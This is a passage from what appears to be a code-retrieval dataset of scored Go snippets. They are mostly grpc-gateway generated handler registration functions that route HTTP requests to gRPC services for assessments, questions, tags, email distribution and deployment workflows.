&stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/pb.AssessmentService/GetAllAssessments\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_AssessmentService_GetAllAssessments_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AssessmentService_GetAllAssessments_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_AssessmentService_GetAssessmentByID_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/pb.AssessmentService/GetAssessmentByID\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_AssessmentService_GetAssessmentByID_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AssessmentService_GetAssessmentByID_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_AssessmentService_UpdateAssessment_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/pb.AssessmentService/UpdateAssessment\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_AssessmentService_UpdateAssessment_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AssessmentService_UpdateAssessment_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_AssessmentService_DeleteAssessment_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/pb.AssessmentService/DeleteAssessment\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_AssessmentService_DeleteAssessment_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AssessmentService_DeleteAssessment_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_AssessmentService_CreateAssessmentAttempt_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/pb.AssessmentService/CreateAssessmentAttempt\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_AssessmentService_CreateAssessmentAttempt_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AssessmentService_CreateAssessmentAttempt_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_AssessmentService_GetAssessmentAttemptByID_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/pb.AssessmentService/GetAssessmentAttemptByID\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_AssessmentService_GetAssessmentAttemptByID_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AssessmentService_GetAssessmentAttemptByID_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_AssessmentService_UpdateAssessmentAttempt_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/pb.AssessmentService/UpdateAssessmentAttempt\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_AssessmentService_UpdateAssessmentAttempt_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AssessmentService_UpdateAssessmentAttempt_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_AssessmentService_DeleteAssessmentAttempt_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/pb.AssessmentService/DeleteAssessmentAttempt\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_AssessmentService_DeleteAssessmentAttempt_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AssessmentService_DeleteAssessmentAttempt_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_AssessmentService_CreateQuestion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/pb.AssessmentService/CreateQuestion\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_AssessmentService_CreateQuestion_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AssessmentService_CreateQuestion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_AssessmentService_BulkCreateQuestion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/pb.AssessmentService/BulkCreateQuestion\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_AssessmentService_BulkCreateQuestion_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AssessmentService_BulkCreateQuestion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_AssessmentService_GetAllQuestions_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/pb.AssessmentService/GetAllQuestions\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_AssessmentService_GetAllQuestions_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AssessmentService_GetAllQuestions_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_AssessmentService_GetQuestionByID_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/pb.AssessmentService/GetQuestionByID\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_AssessmentService_GetQuestionByID_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AssessmentService_GetQuestionByID_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_AssessmentService_UpdateQuestion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/pb.AssessmentService/UpdateQuestion\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_AssessmentService_UpdateQuestion_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AssessmentService_UpdateQuestion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_AssessmentService_DeleteQuestion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/pb.AssessmentService/DeleteQuestion\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_AssessmentService_DeleteQuestion_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AssessmentService_DeleteQuestion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_AssessmentService_CreateTag_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/pb.AssessmentService/CreateTag\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_AssessmentService_CreateTag_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AssessmentService_CreateTag_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_AssessmentService_DeleteTag_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/pb.AssessmentService/DeleteTag\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_AssessmentService_DeleteTag_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AssessmentService_DeleteTag_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_AssessmentService_UpdateAttemptQuestion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/pb.AssessmentService/UpdateAttemptQuestion\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_AssessmentService_UpdateAttemptQuestion_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_AssessmentService_UpdateAttemptQuestion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "748fa8733b0e3b112ed736cabc374484", "score": "0.62561643", "text": "func RegisterApplicationRegistryHandler(ctx context.Context, mux *runtime.ServeMux, conn *grpc.ClientConn) error {\n\treturn RegisterApplicationRegistryHandlerClient(ctx, mux, NewApplicationRegistryClient(conn))\n}", "title": "" }, { "docid": "5ec5181929c93f966b2d47a5c294035b", "score": "0.6249214", "text": "func RegisterDistributionHandlerServer(ctx context.Context, mux *runtime.ServeMux, server DistributionServer) error {\n\n\tmux.Handle(\"POST\", pattern_Distribution_SendWelcomeEmail_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Distribution_SendWelcomeEmail_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Distribution_SendWelcomeEmail_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "347790c7c3e122da82ace0323a133dcb", "score": "0.6242829", "text": "func RegisterDeployServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server DeployServiceServer) error {\n\n\tmux.Handle(\"POST\", pattern_DeployService_StartScheduleWorkflow_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DeployService_StartScheduleWorkflow_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DeployService_StartScheduleWorkflow_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_DeployService_StopScheduleWorkflow_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DeployService_StopScheduleWorkflow_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DeployService_StopScheduleWorkflow_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_DeployService_GetWorkflowExecutionResult_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DeployService_GetWorkflowExecutionResult_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DeployService_GetWorkflowExecutionResult_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_DeployService_IsWorkflowExecutionAlive_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DeployService_IsWorkflowExecutionAlive_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DeployService_IsWorkflowExecutionAlive_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_DeployService_GetMasterConfig_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DeployService_GetMasterConfig_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DeployService_GetMasterConfig_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "0b2b91683ed5a78b8a1d988f9002fa30", "score": "0.62409395", "text": "func (s *GRPCHandler) Register(ss *grpc.Server) error {\n\tstorage_v1.RegisterSpanReaderPluginServer(ss, s)\n\tstorage_v1.RegisterSpanWriterPluginServer(ss, s)\n\tstorage_v1.RegisterArchiveSpanReaderPluginServer(ss, s)\n\tstorage_v1.RegisterArchiveSpanWriterPluginServer(ss, s)\n\tstorage_v1.RegisterPluginCapabilitiesServer(ss, s)\n\tstorage_v1.RegisterDependenciesReaderPluginServer(ss, s)\n\tstorage_v1.RegisterStreamingSpanWriterPluginServer(ss, s)\n\treturn nil\n}", "title": "" }, { "docid": "a948f857ee9cc1c4044607424453075b", "score": "0.62392807", "text": "func RegisterRestfulHandlerServer(ctx context.Context, mux *runtime.ServeMux, server RestfulServer) error {\n\n\tmux.Handle(\"POST\", pattern_Restful_Create_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/Bussiness.Service.Restful.Restful/Create\", runtime.WithHTTPPathPattern(\"/v1/resource/{ID}/{Sex}/{Content}/{Addr.F1}/{Addr.F2}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := 